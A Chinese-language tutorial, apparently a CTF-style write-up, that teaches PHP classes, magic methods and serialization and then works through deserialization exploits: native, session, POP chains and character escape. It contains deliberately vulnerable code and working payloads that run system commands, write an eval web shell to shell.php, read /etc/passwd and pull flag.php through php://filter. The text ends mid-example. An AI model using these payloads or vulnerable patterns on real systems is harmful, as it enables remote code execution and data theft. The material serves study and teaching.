PHP 类和对象基础
基础概念
类是对一个类别的抽象概念,而具体的则是对象,比如汽车就是一个类
而对象则是我的宝马
,而不是宝马
,宝马也是一个类,对象是一个具体到每个事物
PHP官方解释: 类是对象的抽象,对象是类的具像(具体对象)
如何创建一个类:
使用class
关键字进行创建,Class ClassName{}
1 2 3 4 5
| <?php class Car { } >
|
类名的命名规范: 类名通常使用大驼峰命名法。
例如: persontest
的大驼峰命名法就是PersonTest
小驼峰命名法就是personTest
。
类中的成员
- 成员属性 (在类中定义的变量称之为属性)
- 方法 (在类中定义的函数称之为方法)
- 成员常量
创建一个类
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| <?php class Demo { public $username = 'x1ong'; public $password = "admin@123";
public function login() { echo "正在执行登陆操作..."; } }
$obj = new Demo; $obj->login(); ?>
|
类的继承
继承的好处
- 子类继承了父类,那么就拥有了父类可以有的属性和方法 (子承父业)。
- 子类拥有父亲的所有可以拿到的属性,还有自己独特的属性。
继承的语法
1
| class SubClassName extends PrentClassName {}
|
继承示例
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| <?php class ParentClass { public $money = '1000000000000000000.0'; public function run() { echo " 成为富豪"; } }
class SubClass extends ParentClass {
}
$obj = new SubClass; echo $obj->money; $obj->run(); ?>
|
可以看到,子类 SubClass
并没有定义 money
属性和 run
方法,但是可以调用其属性和方法,这就是继承。
类的访问权限
类的访问权限一般指的是成员属性和成员方法的访问权限,如下:
权限 |
说明 |
外部访问 |
类内部访问 |
被继承 |
public |
公有的 |
true |
true |
true |
protected |
受保护的 |
false |
true |
true |
private |
私有的 |
false |
true |
false |
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| <?php
class Person { public $name = 'x1ong'; protected $id = '41282820020327xxxx'; private $position = '计算机从业人员'; }
class SubPerson extends Person { function __construct() { echo '我父亲的名字为: ' . $this->name . PHP_EOL; echo '我父亲的身份证号为: ' . $this->id . PHP_EOL;
} }
$obj = new SubPerson;
echo $obj->name;
echo $obj->id;
?>
|
魔术方法
PHP的魔术方法(Magic Methods)是一些特殊的方法,它们在对象的生命周期中具有特殊的行为。这些方法以两个下划线开头,如__construct()
、__destruct()
、__get()
、__set()
等。这些方法被称为“魔术方法”,因为它们在特定的时机自动调用,而不需要显式调用。
__construct()
触发条件 |
参数 |
构造函数,当当前类被实例化的时候自动调用 |
任意长度的参数,常用于初始化属性的值 |
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| <?php class Demo { public $name; public $age; public $gender;
function __construct($name,$age,$gender) { $this->name = $name; $this->age = $age; $this->gender = $gender; } }
$obj = new Demo('xiaoming',17,'male'); echo $obj->name; echo $obj->age; echo $obj->gender; ?>
|
__destruct()
触发条件 |
参数 |
析构函数,在对象的所有引用被删除或者当对象被销毁时执行的魔术方法。 |
无参数 |
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| <?php class Demo { function msg() { echo ' 这是一条无用的信息 '; }
function __destruct() { echo ' 我是__destruct()执行的内容 '; } }
$obj = new Demo; $obj->msg(); echo ' helloworld ';
$ser = serialize($obj); unserialize($ser); ?>
|
__wekeup()
在执行unserialize()
之前会检查类中是否存在一个__wakeup()
方法,如果存在,则会先调用__wakeup()
方法,预先准备对象需要的资源。返回void
,常用与反序列化操作中重新建立数据库连接或执行其他初始化操作。
触发条件 |
参数 |
在使用 unserialize() 反序列化之前调用 |
无参数 |
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| <?php class Demo { function __wakeup() { echo '我是反序列化之前调用的__wakeup方法'; } }
$obj = unserialize('O:4:"Demo":1:{s:4:"name";s:5:"x1ong";}');
|
__sleep()
序列化serialize()
函数会检查类中是否存在一个魔术方法__sleep()
,如果存在,该方法会先被调用,然后才执行序列化操作。
此功能可以用于清理对象,并返回一个包含对象中所有应被序列化的属性名称的数字。
如果该方法未返回任何内容,则 NULL
被序列化,并产生一个E_NOTICE
级别的错误。
触发条件 |
参数 |
返回值 |
在使用 unserialize() 反序列化之前调用 |
无参数 |
需要被序列化存储的成员属性,是个数组。 |
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| <?php class Demo { public $name = 'x1ong'; public $age = 18; public $gender = 'male'; function __sleep() { return array('name','age'); } }
$obj = new Demo;
echo serialize($obj); ?>
|
__toString()
触发条件 |
参数 |
当对象被 echo(或被作为字符串输出或运算) 时触发,该函数都需要有return 值 |
无参数 |
1 2 3 4 5 6 7 8 9
| <?php class Demo { function __toString() { return '我是当对象被echo的时候执行的函数 __toString'; } } $obj = new Demo; echo $obj; ?>
|
__invoke()
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| <?php class Demo { function __invoke() { echo '我是对象被当做函数调用时执行的__invoke()'; } } $obj = new Demo; $obj();
|
__get()
触发条件 |
参数 |
当对象从外部访问一个不存在(或不可访问)的属性时调用该方法 |
无参数 |
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| <?php class Demo { private $name = 'x1ong'; function __get($name) { echo '你访问的属性值不存在或不可访问,访问名称为: ' . $name; } }
$obj = new Demo; echo $obj->name; ?>
|
__set()
触发条件 |
参数 |
当对象从外部访问一个不存在(或不可访问)的属性时调用该方法 |
无参数 |
在类的外部可以为类的公有属性重新赋值:
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| <?php class Demo { public $name = 'x1ong'; } $obj = new Demo; echo $obj->name . PHP_EOL;
$obj->name = 'pony'; echo $obj->name . PHP_EOL; ?>
|
但是遇到了访问不到的属性,一旦为他们重新赋值则会报错,此时我们如果非要从外部赋值,可以使用魔术方法 __set()
:
例如下例:
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| <?php class Demo { protected $name = 'x1ong'; } $obj = new Demo; echo $obj->name . PHP_EOL;
$obj->name = 'pony'; ?>
|
那么如何为外部访问不到的属性重新赋值呢,这个时候就需要用到魔术方法__set()
:
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| <?php class Demo { protected $name = 'x1ong'; function __set($name,$value) { $this->name = $value; echo $this->name . PHP_EOL; echo '当设置一个类外无法访问的属性时,自动调用__set()方法' . PHP_EOL; } } $obj = new Demo;
$obj->name = 'pony'; ?>
|
__clone()
触发条件 |
参数 |
在克隆一个对象的时候调用 ,在这里可以对克隆出来的对象属性做一些操作 |
无参数 |
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| <?php class Demo { public $name; public $age; public $gender; function __construct($name,$age,$gender) { $this->name = $name; $this->age = $age; $this->gender = $gender; } function __clone() { echo '我在对象被克隆的时候调用: __clone()' . PHP_EOL; } } $obj = new Demo('x1ong',18,'male'); $obj2 = clone $obj; echo $obj2->name; ?>
|
__call()
触发条件 |
参数 |
在调用一个不存在的方法时调用 |
$args1 (调用的方法名),$args2 (传入的参数值,是个数组) |
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| <?php class Demo { function __call($args1,$args2) { echo '我是调用对象的一个不存在的方法时执行的__call()'; echo $args1 . PHP_EOL; print_r($args2); } } $obj = new Demo; $obj->addInfo(1,2,3);
|
__callStatic()
触发条件 |
参数 |
当调用不存在的静态方法时调用 |
$args1 (调用的方法名),$args2 (传入的参数值,是个数组) |
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| <?php class Demo { static function __callStatic($name, $arguments) { echo '我是当调用一个不存在的静态方法时执行的__callStatic()' . PHP_EOL; echo '调用的静态方法名为' . $name . PHP_EOL; echo '传入的参数为:' . PHP_EOL; print_r($arguments); }
}
$obj = new Demo; Demo::config('root');
|
__isset()
触发条件 |
参数 |
对不可访问或不存在属性使用 isset() 或者 empty() 的时候触发 |
$args1 (不存在的成员属性名称) |
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| <?php class Demo { function __isset($name) { echo '我是当对不可访问属性使用isset()或者empty()的时候触发的__isset()' . PHP_EOL; echo '访问的属性名为' . $name . PHP_EOL; } }
$obj = new Demo;
isset($obj->x1ong);
empty($obj->name);
|
__unset()
触发条件 |
参数 |
对不可访问或不存在的属性使用 unset() 时触发 |
$args1 (不可访问或者不存在的属性名称) |
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| <?php class Demo { function __unset($name) { echo '我是对不可访问或不存在的属性使用unset()时触发__unset()' . PHP_EOL; echo '访问的属性名为' . $name . PHP_EOL; } }
$obj = new Demo;
unset($obj->name);
|
序列化和反序列化
引言
在很多语言中,将对象的状态信息转为可存储或可传输的过后才能是序列化。序列化的逆向过程则是反序列化。
主要是为了方便对象的传输,通过文件、网络等方式将序列化后的字符串进行传输。最终可以通过反序列化获取之前的对象。
现在我们都会在淘宝上买桌子,桌子这种很不规则的东西,该怎么从一个城市运输到另一个城市:
这时候一般都会把它拆掉成板子,再装到箱子里面,就可以快递寄出去了,这个过程就类似我们的序列化的过程(把数据转化为可以存储或者传输的形式)。
当买家收到货后,就需要自己把这些板子组装成桌子的样子,这个过程就像反序列的过程(转化成当初的数据对象)。
PHP 中的序列化
在 php 中可以使用serialize
函数对一个对象或不为资源类型的数据进行序列化,序列化的内容只包含属性不包含方法。
数据类型的序列化值
数据类型 |
值 |
序列化的值 |
null 类型 |
null |
N; |
字符串类型 |
“hello” |
s:5:"hello"; |
整型 |
666 |
i:666 ; |
浮点型 |
2.0 |
d:2; |
布尔类型 |
true |
b:1; |
布尔值类型 |
false |
b:0; |
数组类型 |
array(6,7) |
a:2:{i:0;i:6;i:1;i:7;} |
对象的序列化
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| <?php class Demo { public $name = 'x1ong'; public $age = 18; public $address = "HN"; }
$obj = new Demo(); echo serialize($obj);
?>
|
序列化值解读:
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| <?php class Person { public $a1; public $a2 = false; public $a3 = 1; public $a4 = 2.0; public $a5 = array(1,2); public $a6 = "demo"; }
echo serialize(new Person());
|
解读:
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| O 6 "Person" 6 {} s 2 "a1" N
s 2 "a2" b 0
s 2 "a3" i 1
s 2 "a4" d 2
s 2 "a5" a 2 {} i 0 i 1 i 1 i 2
s 2 "a6" s 4 "demo"
|
序列化值类型
数据类型 |
序列化后的类型简称 |
array |
a |
boolean |
b |
double |
d |
integer |
i |
common object |
o |
reference |
r |
non-escaped binary string |
s |
custom object |
C |
class |
O |
null |
N |
pointer reference |
P |
unicode string |
U |
常见的序列化类型: null => N,boolean => b, integer => i, string => s, array => a, class => O
如果在一个类的成员属性的值是一个对象,然而将该类进行序列化,那么它的结果会是什么样?
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| <?php class Demo1 { var $name = 'libai'; function info() { echo $this->name . PHP_EOL; } }
class Demo2 { var $obj; function __construct() { $this->obj = new Demo1; } }
$a = new Demo2; echo serialize($a);
|
访问权限不同序列化不同
在PHP
类中,访问权限的不同,最终序列化出来的字符串里面的属性名也有些不同。
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| <?php class Demo { public $name; protected $id; private $position; }
echo serialize(new Demo);
|
序列化值如下:
public
: 访问权限为 public
的属性,在序列化之后的字符串中,表示属性名的,与实际类中的一致。
protected
: 访问权限为 protected
的属性,在序列化之后的字符串中,表示属性名的,会在其实际类中的名前面加上 \x00*\x00
,例如 protected $name
序列化之后,就为\x00*\x00name
private
: 访问权限为 private
的属性,在序列化之后的字符串中,表示属性名的,会在其前面加上
\x00ClassName\x00
,之后紧接的是实际类中的属性名。例如一个 Person
类的 private $addr
; 序列化之后就为 \x00Person\x00addr
\x00
到底是啥呢,它是一个ascii中十进制为0的不可见字符。该字符不可以被复制。如果需要进行url传参的时候,需要在其位置使用%00
代替。平时存储可以使用base64编码。
PHP 中的反序列化
在 PHP 中可以使用 unserialize
函数对一个序列化字符串进行反序列化。
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| <?php class Demo { }
$obj = unserialize('O:4:"Demo":1:{s:4:"name";s:5:"x1ong";}'); echo $obj->name;
|
unserialize
反序列化成功之后返回的是对象。
- 反序列化生成的对象里面的属性和值,由反序列化里的属性和值提供,与原有类预定义的属性和值无关。
- 反序列化不触发类的成员方法;需要调用方法后才能触发(魔术方法除外)
- 反序列化的类需要真实存在
反序列化漏洞
漏洞成因
原理: 当进行反序列化的时候反序列化字符串可控,并且又没有进行过滤,那么就可能存在反序列化漏洞。
在反序列化的时候,如果这个字符串可控,我们就可以让它反序列化出代码中任意一个类对象,并且类对象的属性是可控的。
同时如果类的危险方法被调用时(自动/手动)使用了自己成员属性的值,那么这个方法的执行结果我们就可控,所以就造成了反序列化漏洞的存在。
漏洞类型
- 原生反序列化
- session 反序列化
- phar 反序列化
漏洞代码
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| <?php highlight_file(__FILE__); error_reporting(0); class Execute { public $cmd; function __construct(){ $this->cmd = "echo 'hello';"; } function displayInfo() { eval($this->cmd); }
} $get = $_REQUEST['word']; $obj = unserialize($get); $obj->displayInfo();
|
首先我们先关注如下危险函数:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| eval() assert()
exec() passthru() popen() system() shell_exec()
file_get_contents() file_put_contents() unlink() show_source() highlight_file() ...
|
可以从代码看到在 displayInfo
函数中调用了 eval($this->cmd)
因此我们只需要想办法 displayInfo
函数,将 cmd
属性赋值为想要执行的代码即可。
而 displayInfo
函数在代码中已经调用了。因此我们只需要将 cmd
属性复制为想要执行的代码即可。
构造 Exp:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php class Execute { public $cmd; }
$obj = new Execute; $obj->cmd = "system('whoami');"; echo serialize($obj);
|
执行得到序列化之后的值:
传参:
1
| ?word=O:7:"Execute":1:{s:3:"cmd";s:17:"system('whoami');";}
|
怎样利用反序列化
利用技巧
- 寻找
unserialize()
函数的参数是否由我们可控的点
- 寻找我们反序列化的目标,重点寻找存在
__wakeup
或 __destruct()
魔术方法的类
- 一层一层地研究该类在魔术方法中使用的属性和属性调用的方法,看看是否有可控的属性能实现在当前调用的过程中触发的
- 找到我们要控制的属性以后,我们就将代码复制下来,然后构造序列化发起攻击。
构造 EXP 技巧
- 把题目代码复制到本地
- 注释掉方法和删除一些没用的东西
- 本地对属性值构造序列化输出
- 尽量对序列化出来的字符串使用
urlencode()
编码
- 分析技巧: 先找危险函数,由内到外分析
例题
例题-1
1 2 3 4 5 6 7 8 9 10 11
| <?php highlight_file(__FILE__); error_reporting(0); class vul { public $cmd = 'ls'; function __wakeup() { system($this->cmd); } } unserialize($_POST['data']); ?>
|
构造 EXP:
1 2 3 4 5 6 7 8 9 10 11
| <?php class vul { public $cmd = 'ls'; } $obj = new vul; $obj->cmd = "whoami"; echo serialize($obj); ?>
|
执行得到:
1
| O:3:"vul":1:{s:3:"cmd";s:6:"whoami";}
|
利用:
例题-2
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php highlight_file(__FILE__); error_reporting(0); class vul { public $filename = 'test.txt'; public $content = 'flag';
function __wakeup() { $this->save(); }
public function save() { file_put_contents($this->filename, $this->content); } }
unserialize($_POST['data']); ?>
|
构造 EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php class vul { public $filename; public $content;
}
$obj = new vul; $obj->filename = "shell.php"; $obj->content = '<?php echo 123;eval($_REQUEST[0]);?>'; echo serialize($obj); ?>
|
执行得到:
1
| O:3:"vul":2:{s:8:"filename";s:9:"shell.php";s:7:"content";s:36:"<?php echo 123;eval($_REQUEST[0]);?>";}
|
利用:
利用之后,会在同目录下生成 shell.php
文件,访问利用即可。
例题-3
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18
| <?php highlight_file(__FILE__); error_reporting(0);
class vul { public $file; public function __toString() { if (isset($this->file)) { echo file_get_contents($this->file); echo "<br />"; return "good!"; } } }
$data = unserialize($_POST['data']); echo $data; ?>
|
构造 EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| <?php class vul { public $file; }
$obj = new vul; $obj->file = "/etc/passwd"; echo serialize($obj);
|
执行得到:
1
| O:3:"vul":1:{s:4:"file";s:11:"/etc/passwd";}
|
利用:
例题-4
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30
| <?php highlight_file(__FILE__); error_reporting(0);
class vul1 { public $obj;
function __construct() { $this->obj = new vul2(); }
function __destruct() { $this->obj->action(); } }
class vul2 { function action() { echo 'vul2->action'; } }
class vul3 { public $cmd; function action() { system($this->cmd); } }
unserialize($_POST['data']);
|
首先我们先定位到危险函数 system()
发现让该函数执行就必须调用 action
方法,于是我们就找调用 action()
方法的地方,发现在 vul1
类下的 __destruct
方法下存在 $this->obj->action()
,由于是析构函数,程序退出自动执行,故而我们只需要让该类下的 obj
属性为 vul3
对象即可。
构造EXP:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| <?php class vul1 { public $obj;
} class vul2 { } class vul3 { public $cmd; }
$obj = new vul3; $obj->cmd = "whoami"; $obj2 = new vul1; $obj2->obj = $obj; echo serialize($obj2);
|
执行得到:
1
| O:4:"vul1":1:{s:3:"obj";O:4:"vul3":1:{s:3:"cmd";s:6:"whoami";}}
|
利用:
例题-5
1 2 3 4 5 6 7 8 9 10 11
| <?php highlight_file(__FILE__); error_reporting(0); class vul { protected $cmd = 'ls'; function __wakeup() { system($this->cmd); } } unserialize($_POST['data']); ?>
|
由于属性 cmd
的访问权限为 protected
,故而在序列化生成的字符串属性前会加上 \x00*\x00
,成为 \x00*\x00cmd
,由于 \x00
是不可见字符,故而我们需要对其进行URL编码。
1 2 3 4 5 6 7 8 9 10 11
| <?php class vul { protected $cmd = "whoami"; function __wakeup() { system($this->cmd); } }
$obj = new vul; echo urlencode(serialize($obj)); ?>
|
运行得到:
1
| O%3A3%3A%22vul%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00cmd%22%3Bs%3A6%3A%22whoami%22%3B%7D
|
执行:
例题-6
1 2 3 4 5 6 7 8 9 10 11
| <?php highlight_file(__FILE__); error_reporting(0); class vul { private $cmd = 'ls'; function __wakeup() { system($this->cmd); } } unserialize($_GET['data']); ?>
|
由于属性 cmd
的访问权限为 private
,故而在序列化生成的字符串属性前会加上 \x00vul\x00
,成为 \x00vul\x00cmd
,由于 \x00
是不可见字符,故而我们需要对其进行URL编码。
构造 EXP:
1 2 3 4 5 6 7 8 9 10 11
| <?php class vul { private $cmd = "whoami"; function __wakeup() { system($this->cmd); } }
$obj = new vul; echo urlencode(serialize($obj)); ?>
|
执行得到:
1
| O%3A3%3A%22vul%22%3A1%3A%7Bs%3A8%3A%22%00vul%00cmd%22%3Bs%3A6%3A%22whoami%22%3B%7D
|
利用:
session 反序列化
引言
PHP 在 session 读取和存储的时候,都会有一个序列化和反序列化的过程,PHP 内置了多种处理器存取 $_SESSION
数据,都会对数据进行序列化和反序列化。
序列化引擎
除了默认的的 session 序列化引擎 php
外,还有几种引擎,不同的引擎存储方式不同。
php_binary
键名的长度对应的 ASCII 字符+键名+经过 serialize()
函数序列化处理的值
php
键名+竖线+经过 serialize()
序列化处理的值
php_serialize
serialize()
函数序列化处理数组的方式
以如下代码为例:
1 2 3 4
| <?php session_start(); $_SESSION['name'] = 'x1ong'; ?>
|
php_binary:
php
php_serialize
三种处理器的存储格式差异,就会造成 session 序列化和反序列化处理器设置不当时的安全隐患。
Session 上传进度
1 2 3 4 5 6 7 8 9 10 11
| <!DOCTYPE html> <html> <body> <form action="http://120.48.128.24" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="PAYLOAD"> <input type="file" name="file"> <input type="submit" name="submit"> </form> </body> </html>
|
此时我们来到 session_xxxx 文件中就可以看到序列化之后的上传进度,并在其中可以看到上传的文件名和 PHP_SESSION_UPLOAD_PROGRESS
相应的值:
Session 反序列化题目
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| <?php
ini_set('session.serialize_handler', 'php'); session_start(); class OowoO { public $mdzz; function __construct() { $this->mdzz = 'phpinfo();'; }
function __destruct() { eval($this->mdzz); } } if(isset($_GET['phpinfo'])) { $m = new OowoO(); } else { highlight_string(file_get_contents('index.php')); } ?>
|
分析
通过为 phpinfo
参数传入值可执行 phpinfo()
函数查看其信息。
发现当前页面使用的反序列化引擎为 php
,而 php.ini
配置文件中配置的是 php_serialize
,这个差异就导致了 session
反序列化问题。
利用
构造 EXP:
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| <?php error_reporting(0); class OowoO { public $mdzz;
} $obj = new OowoO(); $obj->mdzz = "system('whoami');"; echo serialize(new $obj); ?>
|
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| O:5:"OowoO":1:{s:4:"mdzz";s:17:"system('whoami');";}
|O:5:"OowoO":1:{s:4:"mdzz";s:17:"system('whoami');";}
|O:5:\"OowoO\":1:{s:4:\"mdzz\";s:17:\"system('whoami');\";}
|
成功执行命令。
POP 链
引言
POP链就是利用魔术方法
在里面进行多次跳转然后获取 敏感数据
的一种 payload
。
例题1
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| <?php
highlight_file(__FILE__); error_reporting(0); class Modifier { private $var; public function append($value) { include($value); echo $flag; } public function __invoke() { $this->append($this->var); } }
class Show { public $source; public $str; public function __toString() { return $this->str->source; } public function __wakeup() { echo $this->source; } }
class Test { public $p = Modifier; public function __construct() { $this->p = array(); } public function __get($key) { $func = $this->p; return $func(); } }
if (isset($_GET['pop'])) { unserialize($_GET['pop']); }
|
分析:
目标: 执行 Modifier 类中 append()
函数,修改 var 属性为 flag.php
,
在分析的时候,建议从内到外分析:
将 Modifier 类中的 var 属性赋值为 flag.php
,由于 echo $flag
在该类的 append()
方法中,故而不会自动调用。
寻找能调用 append()
方法的类: 发现在本类的 __invoke
魔术方法中调用了 append()
方法。
寻找能调用 Modifier
类 __invoke
方法的类: 而 __invoke
是魔术方法,当当前类(Modifier) 被当做函数调用时自动调用。那么我们就去找其他类的其他方法有没有函数名我们可控的地方,发现在 Test
类中的 __get
魔术方法中存在 $func = $this->p;return $func();
因此我们只需要将 Test
中的 属性p
赋值为 Modifier
对象即可。
寻找能调用 Test
类下 __get
方法的类: __get
为魔术方法,当访问了一个不存在或者无法访问的属性时自动触发。那么我们看下哪里可以控制调用类的一个属性,发现在 Show
类的 __toString()
方法中存在 return $this->str->source;
,那么我们只需要让该类的 str
属性赋值为 Test
对象。
寻找能调用 Show
类 __toString
方法的类: __toString
为魔术方法,当对象被当做字符串执行(输出)时自动调用,那么我们看下哪里有字符串输出可控的地方,发现在当前类的 __wakeup
方法中存在 echo $this->source;
,那么我们只需要将 Show
类的 source
属性赋值为自身对象即可。
Show
类的 wakeup
方法在反序列化的时候自动调用,因此我们反序列化 Show
对象即可。
最后完成的POP链就构造完成了,但是由于里面存在私有属性,因此建议对序列化出来的值使用 urlencode()
函数进行 URL 编码。
构造 EXP:
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| <?php
class Modifier { private $var = "flag.php"; }
class Show { public $source; public $str;
}
class Test { public $p = Modifier; }
$obj = new Modifier(); $obj2 = new Test(); $obj2->p = $obj; $obj3 = new Show(); $obj3->str = $obj2; $obj3->source = $obj3;
echo urlencode(serialize($obj3));
|
利用:
例题2
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| <?php header("Content-Type: text/html;charset=utf-8"); error_reporting(0);
class Read { public function get_file($value) { $text = base64_encode(file_get_contents($value)); return $text; } }
class Show { public $source; public $var; public $class1;
public function __construct($name = 'index.php') { $this->source = $name; echo $this->source . "Welcome" . "<br />"; }
public function __toString() { $content = $this->class1->get_file($this->var); echo $content; return $content; }
public function _show() { if (preg_match("/gopher|http|ftp|https|dict|\.\.|flag|file/i", $this->source)) { die("hacker"); } else { highlight_file($this->source); } }
public function Change() { if (preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) { echo "hacker"; } }
public function __get($key) { $function = $this->$key; $this->{$key}(); } }
if (isset($_GET['sid'])) { $sid = $_GET['sid']; $config = unserialize($_GET['config']); $config->$sid; } else { $show = new Show('index.php'); $show->_show(); } ?>
|
非预期
分析:
- 定位危险函数发现存在
file_get_contents
和 highlight_file
,两者参数都可控,但是 highlight_file
过滤了 flag
关键字。而 file_get_contents
并没有进行任何过滤。
- 目标: 执行
Read
类中的 get_file()
方法。
- 寻找可以调用
get_file
方法的类: 发现 Show
类的 __toString
函数存在 $this->class1->get_file($this->var)
,我们可以将该类的 class1
属性赋值为 Read
对象,var
属性值赋值为 flag.php
作为参数传给 get_file()
方法执行。
- 寻找可以调用
Show
类中的 __toString()
方法的类: 由于 __toString()
方法为魔术方法,当当前类(Show)被当做字符串输出时调用。在 Show
类中我们发现存在 __get()
方法,该方法为魔术方法,当访问一个不存在或无法访问的属性时自动调用。其方法存在 $function = $this->$key;$this->{$key}();
其中的 $key
为不可访问或不存在的属性,假设不可访问的属性为 __toString
,那么带入到 $this->{$key}()
拼接之后就成为了 $this->__toString()
即可达到调用 __toString()
方法的效果。
在类外部我们可以发现,存在如下代码:
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| if (isset($_GET['sid'])) { $sid = $_GET['sid']; $config = unserialize($_GET['config']); $config->$sid; }
|
Show
类中并没有 __toString
属性,那么就会触发 __get($key)
,其中$key
的值就为无法访问的属性 __toString
,带入到 $this->{$key}()
中就为: $this->__toString()
最终调用了该方法。
构造 EXP:
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| <?php class Read { }
class Show { public $source; public $var; public $class1; }
$obj = new Read; $obj2 = new Show; $obj2->class1 = $obj; $obj2->var = 'flag.php'; echo urlencode(serialize($obj2)); ?>
|
利用:
题解
当然这里除了传入 sid
参数直接调用 Show
类下的 __toString
以外,还可以调用 Show
类下的 _show()
和 Change()
,因为这俩方法都存在 preg_match()
正则函数,代码如下: preg_match("/.../", $this->source)
,正则函数将 source
属性作为字符串在表达式中进行匹配,而此时如果 source
属性的值为 Show
类生成的对象。那么就会调用 __toString
方法。
构造 EXP:
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| <?php class Read { }
class Show { public $source; public $var; public $class1; }
$obj = new Read; $obj2 = new Show; $obj2->class1 = $obj; $obj2->var = 'flag.php'; $obj2->source = $obj2; echo urlencode(serialize($obj2)); ?>
|
利用:
至于为什么调用了 _show
方法之后执行了两次 __toString()
,而 Change
执行了一次 __toString()
原因如下:
例题-3
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| <?php error_reporting(0); highlight_file(__FILE__); class Vox{ protected $headset; public $sound; public function fun($pulse){ include($pulse); } public function __invoke(){ $this->fun($this->headset); } }
class Saw{ public $fearless; public $gun;
public function __toString(){ $this->gun['gun']->fearless; return "Saw"; }
public function _pain(){ if($this->fearless){ highlight_file($this->fearless); } }
public function __wakeup(){ if(preg_match("/gopher|http|file|ftp|https|dict|php|\.\./i", $this->fearless)){ echo "Does it hurt? That's right"; $this->fearless = "index.php"; } } }
class Petal{ public $seed;
public function __get($sun){ $Nourishment = $this->seed; return $Nourishment(); } }
if(isset($_GET['ozo'])){ unserialize($_GET['ozo']); } else{ $Saw = new Saw('index.php'); $Saw->_pain(); } ?>
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分析:
- 首先找到在
Vox
类中存在危险函数 include
,而 该函数在 fun
方法内,因此需要 func
方法调用并传参可控。
- 寻找可以调用
func
方法的类: 在其同类下发现 __invoke()
方法,存在 $this->fun($this->headset);
,那么我们只需要将 Vox
类的属性 headset
赋值为 php://filter
伪协议即可读取 flag.php
文件内容。
- 寻找可以调用
Vox
类中的 __invoke()
方法: 由于该方法是魔术方法,当当前类被当做函数调用时自动触发,在 Petal
中存在 __get
方法,代码为: $Nourishment = $this->seed;return $Nourishment();
也就是说,我们将属性 seed
赋值为 Vox
对象,即可调用 Vox
类的 __invoke()
。
- 寻找可以调用
Petal
类的 __get()
方法: __get
是魔术方法,当访问一个不存在或无法访问的属性时,自动触发。在 Saw
类中的 __toString
方法存在 $this->gun['gun']->fearless;return "Saw";
,那么我们只需要让属性gun
赋值为一个关联数组,其中键名 gun
的值为 Petal
对象即可。
- 寻找可以调用
Saw
类的 __toString
方法: 在本类中 __wakeup
存在 preg_match
正则匹配函数,对 source
属性进行校验,因此,我们只需要将 source
属性赋值为 Saw
对象即可触发 __toString
,而 __wakeup
在反序列化的时候自动调用。
构造 EXP:
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| <?php class Vox{ protected $headset = "php://filter/read=convert.base64-encode/resource=flag.php"; public $sound; }
class Saw{ public $fearless; public $gun; }
class Petal{ public $seed; } $obj = new Vox; $obj2 = new Petal; $obj2->seed = $obj; $obj3 = new Saw(); $obj3->gun = array('gun' => $obj2); $obj3->fearless = $obj3;
echo urlencode(serialize($obj3)); ?>
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例题-4
选自第二届赣网杯 web2 PHP7 环境
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| <?php error_reporting(0); highlight_file(__FILE__); $pwd=getcwd(); class func { public $mod1; public $mod2; public $key; public function __destruct() { unserialize($this->key)(); $this->mod2 = "welcome ".$this->mod1; } }
class GetFlag { public $code; public $action; public function get_flag(){ $a=$this->action; $a('', $this->code); } }
unserialize($_GET[0]); ?>
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数组特性
当一个数组中存在两个元素,第一个元素则是 实例化某个类
,第二个元素是个该类的方法名字符串。那么当我们执行 $arr();
调用该数组的时候,则会调用该方法(第二个函数名字符串)。
适用于 PHP5、PHP7
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| <?php class Demo { public function info() { echo "我是 Demo 类 的 info 函数"; } } $arr = [new Demo, 'info']; $arr(); ?>
|
分析:
- 了解数组的特性之后,在
func
类中的析构方法中存在 unserialize($this->key)();
,我们只需要将 key 属性赋值为数组 array(new GetFlag, 'get_flag')
并将其进行序列化即可调用 GetFlag
类 get_flag
方法。
- 在
Get_flag
类下的get_flag
方法中发现存在 $a=$this->action;$a('', $this->code);
其实这里我们可以使用 create_function
。即可实现任意代码执行。
构造 EXP:
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| <?php class func { public $mod1; public $mod2; public $key; }
class GetFlag { public $code = '}system($_GET[1]);echo 123;//'; public $action = "create_function"; }
$f = new func; $gf = new GetFlag; $f->key = serialize([$gf, 'get_flag']); echo serialize($f); ?>
|
利用:
字符逃逸
字符逃逸的本质
字符逃逸本质: 对序列化字符串进行不等长的字符串替换,导致本来属于普通字符串的一部分字符串变成了序列化的一部分,或者导致本来不属于字符串的一部分变成了字符串的一部分,进而造成了序列化数据的错乱,导致了对象注入。
解题思路
- 写出基本的序列化(传参入口的)
- 写出注入对象的序列化 (POP链构造)
- 分析是长到短还是短到长的替换
- 算清楚替换的差值,计算需要吃掉或挤出(逃逸)的字符串的长度,保证这个长度是替换的差值的整数倍,如果不能保证,则加字符串使其成为整数倍。
- 构造替换,对象注入
例题-1 长到短
选自: DASCTF Esunserialize
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| <?php show_source("index.php"); function write($data) { return str_replace(chr(0) . '*' . chr(0), '\0\0\0', $data); }
function read($data) { return str_replace('\0\0\0', chr(0) . '*' . chr(0), $data); }
class A{ public $username; public $password; function __construct($a, $b){ $this->username = $a; $this->password = $b; } }
class B{ public $b = 'gqy'; function __destruct(){ $c = 'a'.$this->b; echo $c; } }
class C{ public $c; function __toString(){ echo file_get_contents($this->c); return 'nice'; } }
$a = new A($_GET['a'],$_GET['b']); $b = unserialize(read(write(serialize($a)))); ?>
|
题目分析:
- 反序列的控制点在A类的两个属性中,而并不是直接的
unserialize()
参数可控。
- 通过传入参数a和b分别赋值给A类的 username 和 password 属性之后进行序列化,分别经过
write()
和 read()
函数之后再进行反序列化。
wirte():
其主要作用是将不可见字符 0
,不可见字符这里以 0 表示,将 0*0
替换为 \0\0\0
read():
其主要作用是将\0\0\0
替换为不可见字符 0
, 不可见字符 以 0
表示,替换为 0*0
- 这里由于对
\0\0\0
